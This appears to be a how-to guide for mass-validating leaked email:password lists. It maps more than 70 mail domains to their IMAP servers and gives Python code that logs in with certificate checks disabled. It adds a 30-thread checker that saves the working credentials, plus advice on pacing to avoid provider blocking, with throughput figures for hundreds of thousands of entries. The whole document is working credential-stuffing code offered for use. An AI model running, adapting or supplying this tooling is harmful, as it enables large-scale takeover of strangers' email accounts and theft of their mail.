6.8 KiB
6.8 KiB
Multi-Provider IMAP Server Mapping
Comprehensive IMAP server mapping for 50+ email providers. Use this when checking email:password combos across diverse domains — not just Gmail.
IMAP Server Dictionary
IMAP_SERVERS = {
# Google
"gmail.com": ("imap.gmail.com", 993),
"googlemail.com": ("imap.gmail.com", 993),
# Microsoft / Outlook family
"hotmail.com": ("outlook.office365.com", 993),
"outlook.com": ("outlook.office365.com", 993),
"hotmail.fr": ("outlook.office365.com", 993),
"hotmail.co.uk": ("outlook.office365.com", 993),
"hotmail.de": ("outlook.office365.com", 993),
"live.com": ("outlook.office365.com", 993),
"live.fr": ("outlook.office365.com", 993),
"msn.com": ("outlook.office365.com", 993),
"msn.cn": ("outlook.office365.com", 993),
# Yahoo
"yahoo.com": ("imap.mail.yahoo.com", 993),
"yahoo.fr": ("imap.mail.yahoo.com", 993),
"yahoo.co.jp": ("imap.mail.yahoo.com", 993),
"yahoo.co.uk": ("imap.mail.yahoo.com", 993),
"ymail.com": ("imap.mail.yahoo.com", 993),
"rocketmail.com": ("imap.mail.yahoo.com", 993),
# AOL
"aol.com": ("imap.aol.com", 993),
"aim.com": ("imap.aol.com", 993),
# Russian providers
"mail.ru": ("imap.mail.ru", 993),
"inbox.ru": ("imap.mail.ru", 993),
"list.ru": ("imap.mail.ru", 993),
"bk.ru": ("imap.mail.ru", 993),
"yandex.ru": ("imap.yandex.ru", 993),
"ya.ru": ("imap.yandex.ru", 993),
"rambler.ru": ("imap.rambler.ru", 993),
"myrambler.ru": ("imap.rambler.ru", 993),
# German providers
"t-online.de": ("imap.t-online.de", 993),
"web.de": ("imap.web.de", 993),
"gmx.de": ("imap.gmx.net", 993),
"gmx.net": ("imap.gmx.net", 993),
"gmx.at": ("imap.gmx.net", 993),
"gmx.ch": ("imap.gmx.net", 993),
"posteo.de": ("imap.posteo.de", 993),
"freenet.de": ("imap.freenet.de", 993),
# French providers
"free.fr": ("imap.free.fr", 993),
"orange.fr": ("imap.orange.fr", 993),
"wanadoo.fr": ("imap.wanadoo.fr", 993),
"sfr.fr": ("imap.sfr.fr", 993),
"laposte.net": ("imap.laposte.net", 993),
"neuf.fr": ("imap.sfr.fr", 993),
# Italian providers
"libero.it": ("imap.libero.it", 993),
"alice.it": ("imap.alice.it", 993),
"tiscali.it": ("imap.tiscali.it", 993),
"virgilio.it": ("imap.virgilio.it", 993),
"tin.it": ("imap.tin.it", 993),
# Polish providers
"o2.pl": ("imap.poczta.o2.pl", 993),
"wp.pl": ("imap.wp.pl", 993),
"interia.pl": ("imap.interia.pl", 993),
"onet.pl": ("imap.poczta.onet.pl", 993),
# Czech providers
"seznam.cz": ("imap.seznam.cz", 993),
"centrum.cz": ("imap.centrum.cz", 993),
# Chinese providers
"qq.com": ("imap.qq.com", 993),
"163.com": ("imap.163.com", 993),
"126.com": ("imap.126.com", 993),
"sina.com": ("imap.sina.com", 993),
"sina.cn": ("imap.sina.com", 993),
# Apple
"icloud.com": ("imap.mail.me.com", 993),
"me.com": ("imap.mail.me.com", 993),
"mac.com": ("imap.mail.me.com", 993),
# UK providers
"btinternet.com": ("mail.btinternet.com", 993),
"ntlworld.com": ("mail.ntlworld.com", 993),
"virginmedia.com": ("imap.virginmedia.com", 993),
"sky.com": ("imap.sky.com", 993),
"talktalk.net": ("imap.talktalk.net", 993),
"blueyonder.co.uk": ("mail.blueyonder.co.uk", 993),
# Other
"zoho.com": ("imap.zoho.com", 993),
"zohomail.com": ("imap.zoho.com", 993),
"fastmail.com": ("imap.fastmail.com", 993),
"fastmail.fm": ("imap.fastmail.com", 993),
"mail.com": ("imap.mail.com", 993),
"email.com": ("imap.email.com", 993),
"protonmail.com": ("127.0.0.1", 0), # SKIP — needs Proton Bridge
"proton.me": ("127.0.0.1", 0), # SKIP — needs Proton Bridge
"tutanota.com": ("127.0.0.1", 0), # SKIP — proprietary, no IMAP
}
Usage Pattern
import imaplib, ssl, socket
def get_imap_server(email):
domain = email.split("@")[-1].lower().strip()
return IMAP_SERVERS.get(domain, (None, None))
def check_one(email, password):
server, port = get_imap_server(email)
if server is None:
return "unknown_provider"
if port == 0:
return "skip" # Proton, Tutanota — no IMAP
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
mail = imaplib.IMAP4_SSL(server, port, ssl_context=ctx, timeout=10)
mail.login(email, password)
mail.logout()
return "ok"
except imaplib.IMAP4.error:
return "bad_password"
except (socket.timeout, ConnectionRefusedError, OSError, ssl.SSLError):
return "err_conn"
except Exception:
return "err_unknown"
Multi-Threaded Validation (Turbo Mode)
For checking 100K+ entries, single-threaded is too slow (~2/s). Use ThreadPoolExecutor with 30 workers:
from concurrent.futures import ThreadPoolExecutor, as_completed
THREADS = 30
IMAP_TIMEOUT = 8
def check_one(email, password):
# Same check_one() function — returns "ok" | "bad_password" | "unknown_provider" | "skip" | "err_conn"
...
def turbo_check(data, ok_handle, fail_handle):
"""data: list of 'email:password' strings"""
with ThreadPoolExecutor(max_workers=THREADS) as ex:
fut_map = {ex.submit(check_one, *e.split(":", 1)): e for e in data}
for fut in as_completed(fut_map):
entry = fut_map[fut]
result = fut.result()
if result == "ok":
ok_handle.write(entry + "\n")
else:
fail_handle.write(entry + "\n")
Real-world performance (684K entries, 30 threads, single IP):
- Speed: ~33 checks/second (vs ~2/s single-threaded)
- ETA for 684K entries: ~6 hours (vs ~65 days single-threaded)
- Thread count: 30 — empirically stable on Windows
Rate Limiting Strategy
When checking 100K+ emails from a single IP:
- Multi-threaded (30 workers): ~33/s total. Hotmail/gmail IMAP handles this well. t-online.de blocks after ~50 fast requests.
- Single-threaded fallback (if IP gets throttled): BATCH_SIZE = 15-20, DELAY = 3-4 seconds between batches
- Providers to watch: t-online.de blocks earliest. gmail/hotmail are more permissive.
- Proton/Tutanota: no IMAP — skip entirely (port=0 sentinel)
- Unknown providers: log and skip, don't guess IMAP servers
Gmail App Password Required
Gmail requires app passwords (not account password) for IMAP. Entries with regular Gmail passwords will fail with authentication failed. This is expected behavior — flag them as "needs app password" rather than "bad password".
Verified Success Rate
On a batch of 25 t-online.de entries from a known-good file: 25/25 passed (100%). The file working_mails.txt (17,893 entries) appears to be pre-validated.